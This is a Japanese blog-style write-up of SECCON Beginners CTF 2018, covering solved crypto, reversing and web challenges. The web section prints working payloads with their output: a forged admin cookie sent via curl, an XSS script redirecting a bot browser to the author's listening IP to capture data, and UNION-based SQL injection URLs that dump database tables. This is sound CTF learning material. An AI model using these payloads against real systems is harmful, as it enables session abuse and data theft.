SECCON BeginnersCTF 2018 Writeup
CTFに興味があったので今回、SECCON_BeginnersCTF_2018に一人チームで参加しました。
結果、今回解けたのは9問。
初参加かつ超初心者の割には健闘したと思いますがPwnが全く分からなった。。
自身のまとめのためにwriteupを書いてみました。
Crypto
[Warmup] Veni, vidi, vici
与えられたzipを回答するとmessage1, message2, message3が含まれている。
message1,2はいわゆるシーザー暗号でした。
message1
Gur svefg cneg bs gur synt vf: pgs4o{a0zber
rot13で変換して
The first part of the flag is: ctf4b{n0more
message2
Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u
rot8で変換して
The second part of the flag is: _cLass!cal_c
message3
{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥
これは無理やり逆文字読んで
The third part of the flag is: Rypt0graphy}
なのでフラグは以下になりました。
ctf4b{n0more_cLass!cal_cRypt0graphy}
Reversing
[Warmup] Simple Auth
認証に使われているパスワードを探せ!とのことで中には実行ファイル。
さっそく実行してみるとPasswordの入力を求められます。
# ./simple_auth Input Password: Umm...Auth failed...
ltraceをして動作を追ってみるとフラグがべたガキされていたのでフラグゲット。
# ltrace ./simple_auth __libc_start_main(0x400792, 1, 0x7ffe1b93aeb8, 0x400830 <unfinished ...> printf("Input Password: ") = 16 __isoc99_scanf(0x4008c5, 0x7ffe1b93ada0, 0, 0Input Password: a ) = 1 strlen("a") = 1 strlen("ctf4b{rev3rsing_p4ssw0rd}") = 25 puts("Umm...Auth failed..."Umm...Auth failed... ) = 21 +++ exited (status 0) +++
フラグは
ctf4b{rev3rsing_p4ssw0rd}
Web
[Warmup] Greeting
URLが与えられアクセスすると
こんにちはゲストさん。 Flagは、管理者である"admin"さんにのみしか表示されません。
の文字列と名前変更ボタンがあるページへ
「admin」と入力すると偽管理者と判定されます。
ソースコードを読むとPOSTされたnameパラメータがadminだと偽管理者とみなすようでPOSTではなくGETしCookieの「name」の値がadminだと管理者になれそうだったのでcurlで送信してフラグゲット。
# curl -H "Cookie: name=admin" http://greeting.chall.beginners.seccon.jp/ <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <title>SECCON Beginners greeting service</title> </head> <body> <h1>こんにちは!adminさん!</h1> <hr> こんにちは管理者さん。 Flagは、 "ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}"です。
フラグは
ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}
Gimme your comment
問い合わせを記入すると特別なブラウザから回答が書き込まれるシステムであり、そのUser-Agentにフラグがあるらしい。
問い合わせフォームの本文に<script>alert(1)</script>
とうつとalert画面がでるのでXSSの脆弱性があることが分かる。
なので本文を以下にして投稿し、自分のPCで待ち受けるとアクセスしてくるのでフラグをゲット!
<script> location.href = "http://<my_ip>" </script>
# nc -l -p 80 GET / HTTP/1.1 Host: <my_ip> Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://nginx/posts/d16b7513281b38209f2b34c69c25e085a9ccfc31 Accept-Encoding: gzip, deflate
フラグは
ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}
SECCON Goods
アクセスするとGoods一覧が表示されるページに移動する。
/js/init.jsのソースコードを読むとaxios.get('/items.php?minstock=0')
の記載がある。
試しに0を8に変えると在庫が8以上の物品リストがJSONで返されることがわかる。
となればあとはSQL injection
まずはtable_nameとcolumn_nameを取得
http://goods.chall.beginners.seccon.jp/items.php?minstock=10%20union%20select%20table_name,%20column_name,%203,%204,%205%20from%20information_schema.columns (省略) {"id":"flag","name":"flag","description":"3","price":"4","stock":"5"},
いかにもなテーブル名とカラム名があるのでそれを取得
http://goods.chall.beginners.seccon.jp/items.php?minstock=10%20union%20select%20FLAG,2,3,4,5%20from%20flag [{"id":"ctf4b{cl4551c4l_5ql_1nj3c710n}","name":"2","description":"3","price":"4","stock":"5"}]
フラグは
ctf4b{cl4551c4l_5ql_1nj3c710n}
MISCは次の記事で。。。